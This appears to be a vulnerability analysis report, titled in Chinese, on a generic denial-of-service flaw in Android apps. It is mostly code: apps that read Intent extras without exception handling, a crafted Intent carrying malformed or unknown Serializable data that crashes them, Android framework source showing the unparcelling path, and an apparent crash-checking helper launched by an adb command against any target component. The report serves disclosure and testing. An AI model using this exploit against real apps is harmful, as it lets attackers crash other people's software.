Android APP通用型拒绝服务漏洞分析报告

Intent i = getIntent();
if(i.getAction().equals("serializable_action")){
i.getSerializableExtra("serializable_key");    //未做异常判断
}

Intent i = new Intent();
i.setAction("serializable_action");
i.setClassName("com.exp.serializable", "com.exp.serializable.MainActivity"); 
i.putExtra("seriadddddlizable_dkey",XXX);    //此处是传入畸形数据
startActivity(i);
比如XXX处传入BigInteger.valueOf(1)极有可能发生转型异常错误java.lang.ClassCastException。

public class DataSchema implements Serializable {
private static final long serialVersionUID = -3601187837704976264L;
public DataSchema() {
        super();
}
}

protected void onCreate(Bundle savedInstanceState) {
 
Intent intent = getIntent();
intent.getStringExtra("ROIS");    //此处依然会由于NoClassDefFoundError crash
}

/frameworks/base/core/java/android/content/Intent.java
 
    public String getStringExtra(String name) {
        return mExtras == null ? null : mExtras.getString(name);
    }
 
 
/frameworks/base/core/java/android/os/Bundle.java
 
    public String getString(String key) {
        unparcel(); //处理数据
        ...
    }
 
    /* package */ synchronized void unparcel() {
        ...
        mParcelledData.readMapInternal(mMap, N, mClassLoader);
...
    }
 
 
/frameworks/base/core/java/android/os/Parcel.java
 
readMapInternal解析传递进来的数据
/* package */ void readMapInternal(Map outVal, int N,
        ClassLoader loader) {
        while (N > 0) {
            Object key = readValue(loader);
            Object value = readValue(loader);
            outVal.put(key, value);
            N--;
        }
    }

public final Serializable readSerializable() {
...
        try {
            ObjectInputStream ois = new ObjectInputStream(bais);
            return (Serializable) ois.readObject();
        } catch (IOException ioe) {
            throw new RuntimeException("Parcelable encountered " +
                "IOException reading a Serializable object (name = " + name +
                ")", ioe);
        } catch (ClassNotFoundException cnfe) {
            throw new RuntimeException("Parcelable encountered" +
                "ClassNotFoundException reading a Serializable object (name = "
                + name + ")", cnfe);
        }
    }

 try
    {
      Bundle localBundle = getIntent().getExtras();
      if ((localBundle != null) && (localBundle.containsKey("class_name")) && (localBundle.containsKey("package_name")))
      {
        String str1 = localBundle.getString("class_name");
        String str2 = localBundle.getString("package_name");
        if ((!TextUtils.isEmpty(str2)) && (!TextUtils.isEmpty(str1)))
        {
          Intent localIntent = new Intent();
          localIntent.setComponent(new ComponentName(str2, str1));
          localIntent.putExtra("serializable_key", new DataSchema());
          startActivity(localIntent);
        }
      }
      finish();
      return;
    }
    catch (Exception localException)
    {
      while (true)
        localException.printStackTrace();
    }

adb shell am start -n com.qihoo.checkextracrash/.MainActivity -e package_name packagename -e class_name componentname